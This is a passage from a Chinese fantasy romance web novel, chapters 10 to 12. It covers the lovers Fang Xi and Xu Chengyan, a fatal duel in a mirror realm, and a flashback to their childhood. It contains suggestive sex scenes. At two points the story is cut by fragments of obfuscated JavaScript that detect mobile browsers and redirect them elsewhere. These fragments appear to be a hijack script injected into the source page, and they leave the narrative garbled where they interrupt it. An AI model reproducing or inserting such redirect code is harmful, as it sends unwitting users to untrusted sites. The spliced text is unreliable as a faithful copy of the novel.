在弱水岸时,她一时兴起,便在他腰封上方绣了一片歪歪扭扭的叶子。 针脚都是许成砚替她补好的。 “我才离开多久,你就伤成这样。” 10. 第 10 章 许成砚的语气偏冷似是在隐忍着什么,他跨步上前揽住她的肩膀,一只手撑伞一只手紧紧的抓住她。 那力道恨不得把她勒进怀里,方溪抬手想避开却因乏力垂下,她一头栽到他胸膛上,气若游丝道:“你就不能轻点,我的手都要被你摁断了。” 她感觉到他手上的劲松了些。 许成砚并未过问方溪为何会出现在这,急急忙忙抱着她回寝殿,将人平稳地放坐在榻上,随后他俯身入榻,盘腿坐在她的身后。 许成砚隔着一层薄薄的衣料将手指覆盖住方溪的蝴蝶骨上,调动灵力为她祛除寒气。 待方溪脸上的血气恢复些后他才将人从后抱住。 方溪的耳垂一片濡湿,热气喷在她的下颌,宛如绒羽忽重忽轻地撩过她的脖颈,下一刻利齿陷入她的皮肉,湿热勾得她心慌意乱,她身子往前倾却被一下拽回去,手腕被沉沉摁在床上。 她竟真怕他要咬她,心跳声几欲震碎耳膜,戚彧在她白皙的肌肤上留下一道浅浅的牙印。 咬/完,在牙印处烙下一个炙热的吻。 从进殿到现在许成砚一言不发,只是一味地和她亲/昵。方溪颤声道:“许成砚,你这是趁人之危。” 他自嘲道:“我几时不这么对你?” “等等。” 红帐中,方溪惊喘一声,细如柔荑的手指抓着白纱幔,指骨关节透着淡红,死死攥紧。 方溪情急之下脱口而出:“我想要个东西。” 方溪眼角噙着泪:“我总不能这么不明不白跟了你,既然你收我做入幕之宾,那总得给我点好处吧。” “你想要什么。” 二人唇齿相依慢慢探寻,随后气息拂过后脖颈。 方溪头低哼着:“我总得在你麾下谋个一官半职,不然我什么都没得到,心里不舒服。地府属坤字,我想去八方部的坤字阁,想要一块天玄令。” 衣衫在挣扎中从榻上滑落,披帛与腰封纠缠、堆叠。 许成砚答应得特利索,仿若这种时候,她提什么都可以应允:“好。” “你必须答应我。”方溪推搡着。 当红梅攀上寸寸白瓷,修长有力的手覆在其上,手指沿着她的指缝曲线贴着,一根根的掰开。 纱幔落下时,呢喃细语。 “我答应你,你想要什么,想去做什么,我都答应你。” 许成砚咬了一下她的耳尖。 “不许反悔。” “绝不反悔。” 翌日清晨,窗前有鸟雀落脚,叽叽喳喳吵翻天。 一夜春宵后,许成砚用自己的灵力养护着她的心脉,先前那些寒气早已全部驱散。 明明有其他法子,他非得拽着她,沉溺于温柔乡里。 方溪浑然不觉手里被塞了一个玩意,良久,她忽然一睁眼。看清手里是块令牌后,心里掀起滔天巨浪,她盯着令牌上“坤七”两个字出神。 令牌并非是天玄司制式,刀工更像是许成砚一刀刀刻出来的。边缘处有不规则地划痕,这块木头质地堪称极品,比真正的天玄令还要沉。 许成砚在上面刻着“坤七”二字,这块令牌成形年代无法追溯。 天玄司八方部十二字阁,每阁六人,坤七,是多出来了的那一个。 他就这么把它交给她了?色令智昏还是别有用心? 她猛地坐起身,压制住狂跳的心。一旁的许成砚睡眼朦胧,躺着看着她,他的食指勾着她的小手指,嘴角勾起解释道:“我前些日子便想给你,结果你跟我赌气,理都不理我。” 方溪挑起眉头,别过头去。不让他看,深呼吸故作镇定地试探他:“这不是天玄令,你就拿块破木头糊弄我。” 许成砚笑着坐起来,揽她入怀。 “这比天玄令还要重要。有了它,以后地瞑司便还是由你执掌。” 幽冥殿并入天玄司后改名为地瞑司,长官之位空置。现在戚戚把它当做筹码换给她。 方溪听了他话甚至有些想笑。 他夺走了她的地位,又还给她。方溪不理解,也无法理解。他究竟把她当做什么了?随意戏耍的降臣?他是侮/辱她吗? 方溪垂下眼睫,许成砚接着道:“至于骊龙珠和木心,等你彻底适应人间后,我再还给你。” “你身子碰不得阴寒之物。” 方溪抿唇,眼神暗下来。 但可以拉着她共揽风月? 许成砚还沉浸在自以为是的深情中,鼻尖蹭了蹭她的侧颊:“此后你要什么,想去哪都随你,只要记得这里还有一个家。” 他昨日处理完公务,便马不停蹄地折返回天玄司,他自打从幽冥回来后,就一直有意无意地回避寝殿里那些故人旧物。 许成砚如方溪一般,重新拾起那些东西,虽然他什么都记不清,但有一种预感这些东西是方溪的。 她的气味,他不会认错。只是他想不通他们早就相知相爱,为何分离?又为何直到三年前才久别重逢? 他为何会忘了那么多东西? 凡间那些闲言碎语他听不出有用的东西,但他可以确定自己从始至终只有方溪一个妻子。他脑海里闪过一个念头,只要她好好活着,平安喜乐,他便是死而无憾。 “戚彧,你当初为何背叛闻天语?” 许成砚沉默片刻,反问她:“你为何这么死心塌地效忠闻天语?天命有那么重要吗?” 寝殿死一般的寂静。 帐中那点暖意全被一阵过堂风吹走了。方溪牢牢将令牌攥在手里,她听着他平稳的心跳声,呼吸都变得有些局促。 天命就是天命,不可违背。 许成砚猛地揽过她的腰,将她抱坐在他膝上,注视着她的眼眸:“我是大恶人,难道闻天语就是大善人?” “天道也不全是对的。” 至少对他们并不友善。 方溪依旧执拗,偏执到不可思议:“天道就是对的,闻天语不会有错。” 这句话像一道法咒,自她化形就深深刻在心里,溶入骨髓。违背天命者,必诛之。 无论是谁,只要让她背弃天命,违背闻天语,那他就必须得死。 许成砚这种天生反骨的自然是不理解方溪对他的恨。 若方溪恨他是因为他隐瞒身份,他认。她想杀他想怎么出气都行。 但方溪恨他是因为他强迫她抛弃天命,违背闻天语,他不认。 秋分将至,天玄司的地上铺上了一层层银杏。许成砚不见踪影,方溪拿着令牌可以借往生镜探查幽冥界,但不能下地府。 一来她身体极其畏寒,二来往生镜又被这群天杀的玄司使打碎了。 理由竟然是许成砚的忘归剑不小心掉下去,砸碎的。 宽近千尺的往生镜,不动用灵力光靠一把灵剑是根本不可能打碎。 许成砚这手段不光明但极其有用。 方溪有了令牌后,到处寻找天玄玉令的线索。方溪试着用灵力灌注这块天玄令,结果却被反弹回来,甚至感到有阻力。 “怕不是认主了?” 方溪再次驱动灵力,依然无果。 认主之物向来用主人的灵气或者血来滋养。 她瞧着这块刻划无方的天玄令,向来天玄司是不可能有空着的令牌。玄司使若是死亡,其天玄令将会散布到人间等待下一个玄司使出现。 她手中的天玄令虽是许成砚所雕刻,却能调动地瞑司权能,这说明闻天语是认可这块天玄令的。 既然它能被许成砚找到,那就说明原主已经过世,她便能重新结下血契。 她划破自己的手掌将令牌握在手中,当血填满“坤七”二字的沟槽。 天玄令发出了淡淡的青光。方溪再次灌注灵力,这一次再无阻力。 方溪眼前刹那间浮现一块巴掌大的铜镜,镜子照出她脸上的骨骼和脉络。 她手指触碰到的瞬间,铜镜消散在空中。 与此同时,方溪的脑海走马灯似的闪过一些画面。 两道模糊的人影协力拼凑一面破碎的镜子,裂缝闭合的瞬间,镜子突然扩大范围,那两人脚下一空落入镜中。 往生镜,他们在拼的是往生镜。 方溪御剑飞至往生镜之上,俯视一圈。她驱使灵力将往生镜人为拼凑起来,一如之前画面的那般,往生镜霎时阔至万里。 她跃身而入,掉落至另一个世界。这里苍白一片,没有尽头,也无来处。 骊龙珠和冥灵木一同浮在空中,她每靠近一步,记忆如同镜子碎片般慢慢拼凑,声音画面,无一不刺激着方溪的神经。 貌美妇人怀里抱着个女婴,妇人用头贴着女婴的头:“她体弱多病,取太大的名字压不住,只能取小的名字。” 妇人听到窗外溪水流淌的声音极其清亮,眼神温柔似水。 “溪流,溪流虽小却无处不在,她不像江川宽宏,不像大海辽阔,但她像风像雨能去往更远的地方,去见江川大海没见过的风景。以后你就叫方溪,好不好?” 女婴手舞足蹈地笑起来。 一旁的男子接过孩子,逗孩子笑道:“那我来取小名,昔,阿昔,往昔朝昔今昔,长生长久,长长久久。” “小砚。”妇人和男子一同看向门口坐在门槛上的两岁男孩。 男孩慢悠悠地走过来,男子抱着女婴蹲下,男孩拉着女婴的小手,奶声奶气地重复大人的话:“昔,阿昔。” 妇人对着男子笑道:“以后我们就有一双儿女了。” 方溪回过神来时,已经到了骊龙珠和木心前,她收起骊龙珠,去触碰木心。 刚刚那些是什么?方溪只觉头疼。 此时脑海里自己的声音不断在重复一句话。 违背天命者,必诛之。闻天语没有错,我没有错。 眼前的木心肉眼可见的从花骨朵绽放开来。方溪将木心捧在心口,木心白光忽闪窜入她的心脏中,被禁锢住的灵力挣脱枷锁,她失去已久的神力重新回到她的体内。 方溪眼前一黑,踉跄两步,余光瞥见正前方出现了爬满藤蔓的一个通道。 她掉入了另一个空间。 她走到尽头推开残破的大门,目之所及之处皆是粘稠不堪的污血。 一尊娲皇大人的神像立在殿堂中央。 七十三把武器全部插在神像上。 弑神。 这发生了什么。 供奉香火的案桌上放着一块玉牌。 她隔空取物,眨眼间玉牌便出现在她掌心。玉内已经被沁入血色,白里透红,能清晰地看见血如红丝在里面翻腾。 “天玄”两字赫然在目,闻天语烙在她神魂上的赐福正在慢慢吞噬她属于人的记忆。 方溪的思绪仿若回到了地底,变成一粒种子,食以怨气,饮以奈河。破土而出,舒展枝叶只为见一缕阳光。 可惜幽冥暗无天日,须臾已是百年。 “上古时天玄司众玄司使屠杀闻天语,闻天语以血咒将众人化作血水滋养冥灵木,可以说是两败俱伤。” “你知道闻天语为何遭受背叛?” “她救世又失败了,她想灭世让人再次接受轮回,这已经是第五次。没人想再跟着她瞎折腾了,她本就不是个爱人的神,甚至不配为神,不配继承娲皇的衣钵。” “这样的神也值得你为她忠心耿耿吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406174|184475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >许成砚嗓音低沉如幽夜,催着恐惧抓住方溪的脚踝,将她拽回地府。 方溪还没来得及回首,肩膀就被他狠狠抓住,他的五指抵着皮肉。 她手中化出长剑转身朝那人刺去,电光火石间,二人凝视着对方。 一人愤懑,一人悲痛。方溪的偏执犹如穿云箭,开弓便无法回头,不达目的誓不罢休。 “天玄司与幽冥殿本该各司其职,井水不犯河水,这是闻天语自上古就定下的规矩,不可变也不能变。背叛者,其心可诛。” “规矩绝不能是死的,闻天语错了。”许成砚冷峻的脸庞上蒙上一层雾霾,他眼中的沉痛刺得方溪的心跟着绞在一起。 打她记事起便以闻天语的意志过活,她正因身负天命所以才会在幽冥受尽妖魔鬼怪的煞气。 现在告诉她,她错了,这一百多年她所经历的一切,不过是闻天语需要一把刀,而她刚好被选中了而已。 什么天命责任都只是谎言。 利刃相抵,彼此的脸庞变得如此清晰。 方溪咬牙:“闻天语不会错。” “她让天玄司拨乱反正,最后却变成苍生各有命顺其自然,她说要天玄司正本清源,却是想放任伪神祸乱世间最后灭世重来。天玄司不过是她爱世人的幌子,她若爱世人,便不会伪神乱世。” 不可能,闻天语就是天道,天道不会有错。他就是个无耻之徒,他说的话不可信。 “苍生于她如蝼蚁,你我皆是她屠戮苍生的刀。” “方溪,你什么都改变不了。” “天地宽广,只要你放弃闻天语给你的天命,你做什么都可以,哪怕是杀了我都行。” 这话他说过无数次,她也听了无数次。 闻天语给她九幽冥主之位,她凭着自己一点点摆脱戚彧的控制。她的确因天命无法离开幽冥,可百年磨练让她足以与他抗衡。 既然承受了天命,那就该付出应有的代价。她痛苦,厌倦孤独,她也抵挡不了权势带来快/感。 闻天语是选择了她,她也真正继承了闻天语的意志。 她从德不配位到执掌一方,许成砚的打压不仅没压死她,反而激起方溪想要杀他取而代之的心。若没天命限制,还能轮得到戚彧攻占幽冥殿。 人生在世谁没有个意难平。 她不过栽在了一个“情”字上,又不是一败涂地再无翻身的可能。他上下嘴皮子一碰就否定她的过去,笑话。 真是天大的笑话。 她讥讽他:“戚彧,你口口声声说闻天语错了,你问心无愧。你既然看不上她给的天命,那就退位让贤,让我做两日掌司使可好。没有闻天语你能有今日的地位?我的东西你抢了又送给我,可真是好大的面子。” 怒火攻心,她手中的天玄玉令发出刺眼的强光,两人被迫拉远距离。 “我绝无半分折辱你的意思,更不是在推脱罪责,若是我能选我宁愿跟你做一对平凡夫妻。” “倘若能选,你我都会选择同样的路,因为我们一类人。你狠戾,我阴毒。陪你玩几日过家家,真当自己是个良善之辈。今日一战,我当替闻天语清理门户。” 方溪双眼已无往昔光彩,她手中的天玄玉令发出诡异的红光。 与他对战招招致命,二人打得天昏地暗,难分伯仲。 “方溪,你听我说,我们都记忘记了前尘,从很久很久以前我们就在一起了。” 许成砚句句真心,可全方溪被当作是鼓舌掀簧,她下死手去与他厮杀。 方溪:“那又如何!” 此言一出,许成砚的心在剧烈地震颤,四肢百骸犹如藤蔓交缠扼住他的胸腔将他一点点撕碎。 昔日如胶似漆的夫妇正在往生幻境中斗个你死我活。 许成砚脸上被她的剑气划拉了一道口子,从坐鼻翼到右眼角,血珠一粒粒滑落像是流泪一般。许成砚眸光稀碎如他的心,他耳畔响起利刃割破空气的尖啸。 “你作恶她受惠,凡事必有代价,这就是你们的宿命。戚掌司使我答应你,八百年后你命丧黄泉之日,我让你再见她最后一面。” 闻天语的话窜入耳来。 巨大的悲哀笼罩在两人的身上,如排山倒海般将他们溺死在前尘旧梦中。 既然结局已定,他们终将互相残杀到精疲力竭,枯耗彼此的灵力,透支完最后的生命。 许成砚宁愿只死他一人。 方溪提剑向他袭来,许成砚卸下所有防备,张开双臂拥她入怀。 长剑贯穿许成砚的胸膛一刹那,血荼靡开满苍白之地,花瓣化作微雨纷纷扬扬。 “倘若恨意能杀死我,那你就继续恨我,恨到彻底遗忘我,不会痛苦,不会伤心,此后便再无天命束缚你。” 他捧着她的脸,笑着在她额角落下一个吻,他的心头血染湿方溪的衣襟,方溪心里的冥灵木心彻底消失,血肉在疯长,她长出了一颗完整的心。 她从未懂过他,就像飞鸟不懂渊鱼。可懂不懂又有什么关系?情本就是莫名其妙的东西。 “许成砚!” 两人相拥着跪在地上,戚彧的头慢慢垂下,依在她的脖颈旁。 方溪颤抖着手环抱着他,头埋在他的胸膛里,一如当初他诈死时那般撕心裂肺地哭嚎。 她不想他死,她不要他死。 这是她心的声音。 血雨悄悄将他们淹没在花海里,方溪拼凑好的往生镜再次崩碎,顷刻之间碎片打乱重组恢复原状。花海翻涌卷起二人,落入时空裂隙。 方溪做了一个光怪陆离的梦。 她仿若回到了他们成亲那夜,月凄冷得不近人情,云雾缭绕,幽冥无光。 11. 第 11 章 虽说许成砚是凡人,到底是第一次成亲,再加上读书人的做派,过于恪守繁文缛节,非得要按明媒正娶那套章程走完。 无媒人,许成砚便亲自登门请姜桑柔为他们做媒。 无高堂,他俩便上祈天道,让娲皇大人见证喜结连理。 无聘礼,无嫁妆。许成砚亲自在弱水岸选址建小竹楼做新府为聘礼,方溪让三迷途的荼靡花开满弱水岸为嫁妆。 他们向着高天圆月三拜,在娲皇大人的见证下,云开雾散。 月华柔和了幽冥的鬼气,森森地府如同在人世间般花好月圆,红男绿女,金玉良缘。 幽冥殿摆席三天三夜,无需贺礼,无需份子钱,来者皆是客。 小竹楼内红烛高照映双喜,月洞门,雕花床,红罗纱帐。 方溪手持一小扇遮面,眉间点缀朱砂花钿,人面桃花相映红,顾盼生辉。 许成砚头冠乌纱,一袭红衣,弓着腰轻轻覆上她柔软白皙的手,取下那柄绣着鸳鸯的扇子。 那双清澈如月的眼睛望着她,什么都能做得假,唯独许成砚眼中失而复得的喜悦做不得假。 新人对饮合卺酒,烈酒染红妆。 许成砚挑下红罗纱帐,纱帐层层滑落,掩盖住人影。 他屈膝入榻俯下身,松开衣襟腰封,锦袍襦裙落下榻,二人嬉戏耳语,说趣逗笑,他的唇时有时无碰到方溪透粉的耳垂。 她伏在他的肩膀上,听着他不紧不慢地说起他们的初遇,说起这些日子来的朝夕相处,他的嗓音如初春的温泉水流过耳畔。 他吐息间热气撩过她的鬓发,方溪咬了咬下唇,手指抚上耳垂用力揉了揉,试图掩盖住自己的忸怩。 他倏地捉住她的手腕,放在唇前啄着她的寸脉处,垂着眼关注着她的随着他的吻而次次战栗。 绯色浮上方溪的双颊,许成砚的吻珍重的落在额角,炙热又温柔,慢慢下移从花钿、鼻梁、鼻尖,最后流连于柔软湿热的唇角,舌尖一丝丝去描摹她的艳色。 唇齿刚微微透出缝隙,便让许成砚趁虚而入,攻城略地。酒香缠绕在他们的唇舌之间,方溪眼睫垂下投下阴影,柔软的手臂勾着他的后颈,一一去回应许成砚的温柔。 她仿若溺死在温吞的水里,腰肢软若无骨,暖意正在一点点淹没她,若即若离的触感让她不得不抓紧他、抱紧他。 方溪起先有些局促,摸不着头脑,但她的心似是被许成砚填满,哪怕有疑惑也愿意陪着他一起沉沦。 “方溪,求求你,看看我。” 许成砚在她耳畔一声声唤着她的名,是一声声哀求,更是一声声期盼。 她不明白他为何这般哀伤。 方溪徐徐仰起眼,他的眉眼宛如美玉雕琢般的温润,她抚上他的眉锋,小指轻扫过眉梢,纤细白皙的手指穿过他的鬓发。 晶莹的汗水混着眼泪滴落在她的脸颊上,方溪才把他的眉眼看得真真切切,淡淡的疤痕从左鼻翼延伸至右眼角。 许成砚的眉眼与戚彧渐渐重合,他眉眼间的温柔似乎从未变过。 天地倒转,方溪又回到与他对峙那夜。她翻身而上掐住他的脖颈,低头看着他迷离的眼。 他脆弱的脖颈就在她手里,只要她稍微一用力,许成砚就彻底消失在这个世上。可她手上根本使不上劲,她伏身而下泣不成声。 滚烫环绕着她的腰肢,她咬唇忍受着夏日的潮热,他的手从尾椎滑到她的脊梁,轻轻拍打她的背安抚着她。 方溪顿时心头绞痛,突如其来的悲伤剥夺了她喘息的权力,一口气堵在心口,刺痛来得密密麻麻,她身上的感官不断放大。 许成砚的一举一动,他身上的气味、声音、触感都变得无比清晰。他箍住她的手腕压在她脖颈两侧,眼中全是她身上的潮/红。 炙热、潮湿、凶猛。逼着她的眼尾忍不住湿润,她仿佛溺水的鱼怎么挣扎也不得解脱,只能任水流起起伏伏。 “方溪,我是谁?” 她终于听懂了那夜他言语中的酸涩,读懂了他眼中的痛苦。 他是戚彧,他是许成砚。 热浪消退,方溪蜷缩在他的怀里,视线已经模糊不清,他的眉眼蒙上一层水雾,她伸手想要去抱住他。 抱住他腰的瞬间怀里一空,柔软的花瓣四散开来。她抓不住他,方溪放声大哭出来。 百年来的孤独在那一刻席卷而来,那道锁住记忆的枷锁彻底松动,无论她怎么逃,都躲不了这一劫。 他们曾赤/裸地去往地府,如今也将赤/裸地回到世间。 . 八百年前,伪神祸世,伪神后裔虽为人,却能以神子自居,凌驾于世俗君王之上,受人族王国尊崇。 熊卫国有一支方相氏后裔,掌握着熊卫国所有的祭祀事宜,熊卫国国君奉其大族长为国师。 国师有三子,一女,皆是神子中的佼佼者。其女姮本是国师掌上明珠,幼时千娇百宠,长大后却因厌恶神族做派,背弃家族,自降身份与巫医相异结亲,此后定居熊卫国第二大城池戚邑。 戚邑物阜民安,风气开化,四朝旧都,繁华不输国都风丘。因国师之女在此定居,才免受其他神族后裔侵害。 夫妻俩性情温良,虽受人爱戴,但也逃不过一些风言风语。 茶馆酒肆时不时传出一些八卦来,今日便有好事者拿着捕风捉影的事来大肆宣扬。 “唉唉都凑过来,我打探到一个消息,姮大人家的公子不是亲生的。” 说者是个八字胡的胖子,人称胡子张。总是仗着替风丘的神子做事,听到些动静便当做谈资,把神子们那些腌臜事都抖出来。 国师之女的儿子不是亲生的,这么大的八卦胡子张不得到处说说。 人们听后七嘴八舌地讨论起来。 “难怪许成砚不跟娘一个姓,我还以为他是姮大人私生子。” “我早就说过了,他那资质都烂到家了,怎么可会是神族后裔。这下真相大白了吧,他根本就不是姮大人亲生的。” “方溪那小丫头呢?” “你瞎啊,那丫头长得跟姮大人一模一样,一瞅就是亲生的。” “……” 楼上屏风隔间坐着个小姑娘,正依着栏杆探身听底下的人们谈论。 她看起来约莫十四岁,耳后梳垂髻,青丝及腰,并用红色发带束紧发尾。 眉眼略显稚嫩,少女青涩秀丽,也是难得一见的美人胚子。 若是端庄雅正坐直身板,那便是名副其实的大家闺秀。 可她偏偏好奇 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方溪说完便提剑要砍,吓得胡子张撒腿就跑,一边跑一遍嚷嚷:“你阿兄许成砚就不是你娘亲生的,你就算是砍死我他也不是亲生的。” “我从小与阿兄一同长大,连我都不知道事情,你如何知道?你分明就是在胡说八道。” “我的小祖宗啊,你天天待在戚邑怎么可能知道?” “就你厉害,什么都知道,什么都乱说。” 胡子张抱头鼠窜,客人们见怪不怪来回闪躲,稳坐如山,不挪屁股,都是边嗑瓜子边拱火。 “方大小姐,许成砚长得跟你也不像啊?你阿爹阿娘养了个凡人小子做你兄长,就你还天天阿兄阿兄的叫,真丢神子的脸。哈哈哈哈哈哈哈。” 方溪睨了他们一眼,胡子张作势要跑,她一个箭步上去,胡子张一个遁地术溜了。 末了,还做了个鬼脸挑衅:“你阿兄就是你阿爹阿娘从死人堆里捡回来的野孩子,你祖父都不认他是你方家的种,你阿兄就不是你爹娘生的。” 方溪一剑劈去,人早就没了影,她气得直跺脚,小脸气得双颊泛红,骂骂咧咧道:“你阿兄才不是亲生的,你全家都不是亲生的。” 方溪说到底是个半大孩子,听到自己的兄长不是亲兄长,还被别人说兄长是个野孩子,换作是谁都会生气的。 自打她记事起,许成砚就是她血浓于水的阿兄,彼此血脉相连,怎么也分不开。 如今听到别人说许成砚不是亲兄长,就好像许成砚会离开她,没了血缘关系许成砚就会被其他人抢走一样。 茶馆里的人都在笑她,笑她阿兄。 方溪也不知道自己为什么会鼻头发酸,拿着剑指着茶馆里笑她的人,哽咽道:“我阿兄就是我阿兄,他就是我爹娘亲生的,他才不是什么野孩子。” 小姑娘气极了,那些人笑得更大声了,毕竟逗哭小孩可是大人们一大乐趣。 一声清朗的“阿昔。”出来,众人纷纷朝门口看去,被调侃的主角正立在门口。 众人立马恢复正形,继续各说各的,装作若无其事的样子。 方溪回首看向那人,迎着光奔向他:“阿兄!” 12. 第 12 章 那少年身形颀长,眉如墨画,极其俊逸。他着玄色外袍,藏青里衣,大带束腰另挂一竹简,腰背挺拔如青松,鹤立在门面前。 许成砚见方溪扑来,快步上前,将小丫头拥入怀中。还没等自家妹妹告状,手扶正方溪的臂膀往后拉。 他自行跨步上前,一板一眼朝着茶馆客人们拱手道:“我家小妹在此胡闹,打扰各位用茶,实属不该,今日各位的茶钱记我账上,就当是赔罪。” 许成砚撇了眼之前因方溪打斗,弄坏的案桌,他挑起半边眉梢,补充说:“店家的损失也一并算上。” 方溪不服气,店家损失她赔,可凭什么白白请这群看热闹不嫌事大的王八蛋喝茶。 她拽了拽许成砚的衣袖:“阿兄?” 许成砚反手握住她的手腕,牢牢抓住,拇指按了按她的寸脉。 方溪轻哼了一声,剑托在地上,她小声嘀咕:“便宜他们了。” 店家总算是从柜台后冒出来出来打圆场,开口闭口一个“大公子”,谄媚至极。 “无需大公子破费,都是小钱不打紧。只要二小姐高兴,把我这破店砸了也没事。” 许成砚莞尔一笑,并没领情:“该赔付的还是得赔付,钱待会儿我便差人给店家送来。” 店家笑得合不拢嘴,想点头又假意跟许成砚推脱三四回,最后笑眯眯地收下许成砚给的凭证。 方溪走之前,还不忘回头瞪了眼那些得了便宜暗暗窃喜的人。 他们走出几里路,到了巷子隐蔽处。 许成砚一用力便把她拽到身前,夺走她手中的剑,拧起眉头,作势要训人。 可看到方溪抬抬下巴,眼中没有一丝做错事的心虚,反倒是像打了胜仗向他邀功一般。 许成砚长舒一口气,侧过身看旁边的歪脖子树,他揉了揉眉心: “你课业不做,整日贪玩,跑到这些地方同人争执,还有三日爹娘就要从风丘探亲回家,你让我怎么跟爹娘交代?” 爹娘临行前再三叮嘱许成砚看住方溪,不让她贪玩耽误课业,少闯祸,多修行。 可方溪趁他去义诊的间隙跑出来与人斗殴打架,这半月来苦主陆陆续续跑府上告状。 方溪小时候只是跟人吵架拌嘴,长大了不得了了,学了法术,打遍全戚邑无敌手。 以前还听两句他的话,现在除了阿娘谁都管不住她。 小姑娘眼神乱飘,手指搓了搓耳垂,嘟嘟囔囔道:“那就不交代,我又没做错什么?分明是他们有错在先。” 她说着说着底气越来越足,小嘴叭叭道:“他们趁着爹娘不在家,就看着我们年纪小好欺负,我不反抗,难道还要等着人家欺负上门吗?” “平日里爹娘对他们够好了吧,既不要贡品,也无需他们俯首称臣,还给他们灵丹妙药。若不是爹娘的庇护,城外那些妖魔鬼怪早就把他们给吃了。他们非但不感激,还在背地里骂爹娘与那些伪神蛇鼠一窝不安好心,还说你是……” 方溪偷偷瞄了一眼许成砚,许成砚眉眼间略带疲惫,并无愠色。 接着方溪擤了擤鼻子,没把那些人的胡言乱语说出口:“总之,我既没伤人也没蛮不讲理,他们都是决斗输给我的,我只是让他们道歉而已。” 许成砚:“阿昔,他们只是普通人。” 方溪绷紧牙关还想辩解,抬眼望向许成砚。许成砚的眼神仿佛在告诉她,她还是个小孩,根本不懂世事,只会闯祸。 方溪几缕额发在打斗中松散下来,挠得她鼻尖发痒,她将发丝捋到侧颊旁。 她垂眼道:“我错了,我不该仗势欺人,行了吧。” 说完,她背过身抬腿就要跑。 许成砚早预料她想跑,仗着腿长臂长,比方溪高大,先行一步伸手穿过方溪腋下,揽住她的腰,将人腾空抱起。 “许成砚!你放我下来。” “叫阿兄。” “不叫。” 方溪到底不比小时候那样可以随意抱起就走,许成砚将她放下,方溪一直在哼哼。 她生气的时候,就是这样,什么情绪都摆脸上。没大没小,直呼兄长名讳。 许成砚一只手便锢住她的两只手,方溪比他矮一个头,阴影罩着她,方溪往后缩了缩。 许成砚躬身压低眉头,看着气鼓鼓的小姑娘,只得耐着性子哄她:“好,我不该说你,你一点错都没有,都是我的错,怪我没好好护着你,让你受委屈了,阿兄给你道歉。” 方溪嘴角微微翘起,又被生生压了下来,眼珠子环顾一圈,目光落在许成砚抓着她的那只手上,许成砚见状松开她。 许成砚做出最大的让步:“今日之事,不对,这半月发生的所有事我都当不知道。三日,就三日,你好好温习课业,修炼法术,我就不向爹娘告状。” 方溪活动了一下手腕,道:“若是你告状呢?” “那我就说,这些事都是我做的。” 方溪歪歪脑袋,总感觉哪里不对。 “你说了,爹娘也不会信是你做的。”方溪看着他的眼睛。 她眉眼含笑,连她自己都未发觉。 许成砚见小姑娘又开始跟他耍赖,他暗暗松了口气,才道:“从小到大我替你背了多少黑锅,爹娘就算不相信,也不会说你什么。” 方姮和相异向来最是疼爱小女儿,顶多装模作样的摆出副严父严母的样子,吓唬两句。许成砚跟着装样子,方溪有恃无恐。 天色渐晚,枝头惊鸟。街巷人声消弭,小巷人家支起灯笼,点起了烛火。 无人发觉红灯笼的顶部覆盖上一层白霜。 方溪忽觉后颈一片凉意,她摸摸后颈,指尖微凉。她有点不安,伸手抓住许成砚的手,许成砚的手指娴熟地拢住她冰凉的手。 “阿兄,我饿了,我们回家吧。” 耳畔传来微弱的声响,好似冰渣子碎裂开来。 她警惕地看向四周,什么异常都没有,许成砚察觉她的不对劲,将她拉近一些:“怎么了?” “今天好冷。”方溪抱住他的胳膊,几乎是贴着兄长,她将脑袋埋在许成砚胸膛。 许成砚探手在她额头停了会儿,转而摸摸自己的额头,的确有点烫。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406176|184475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >虽值暑日,戚邑正午热穿薄衣,早晚凉批外袍。方溪衣衫薄,难免有点着凉。 许成砚将外袍脱下,披在方溪的身上,捏了捏她的手:“我回去给你熬点姜汤。” “嗯嗯。”方溪点点头。 . 方府 方姮夫妇不喜热闹,府内用人大多是些老仆。 两个小主人在内院,管家方海同护院守着外院。疱人做好饭食便从小厨房送到小主人们的院子里。 许成砚盘腿坐在炭火旁,修长的手指握着蒲扇,有一下没一下的扇着,药壶底下的黑炭因风时不时发红。 方溪坐在三尺远的地方嚼着青菜。 案桌上三菜一汤,许成砚的碗筷一直没动过。 “阿兄,我用法力控制火便行,你何须这般费时费力?” 方溪盯着他扇蒲扇的手指看了一会儿,许成砚的手比她的手还要大一圈,指关节轮廓分明,手背白皙得能看清上面冒起的经络。 她颔首瞅了瞅自己的手,虽然纤细却没有许成砚的好看,方溪蜷缩手指,指甲敲着桌案。 她的鼻间充盈着一股淡淡的辛味。 许成砚全神贯注地替她熬姜汤:“你自幼体弱,现下寒气扰身,你再施法,怕是要寒气入体,没几日你便要咳喘。我慢虽慢些,但也好过让你疾病缠身。” 方溪咬了咬筷尖,目光移到他冷却的饭食上:“可阿兄你再不吃饭,菜都要凉了。” “无妨。” 方溪吃得食不知味,坦白道:“你不陪我吃饭,我都吃不下去。” 许成砚疑惑地看向她碗里,旋即又低下眼:“你这叫吃不下去?” 方溪干咳一声,放下筷子,一点点挪到许成砚的身边,手掌摊开,眉眼弯弯。 许成砚拿扇子拍了拍她的手,调转扇柄递到她手中。 方溪一握,也学着他扇着炭火。 “阿兄,我换你。” 许成砚摇头笑着起身去桌案旁坐下,简单对付了几口,又过来换方溪。 小姑娘乖巧地坐在炉火旁烤着手,十指指尖圆润,火光映照得她的脸庞暖暖的。 许成砚眼神柔和下来,问起白日的事:“今日你又是因何与他们争吵?” 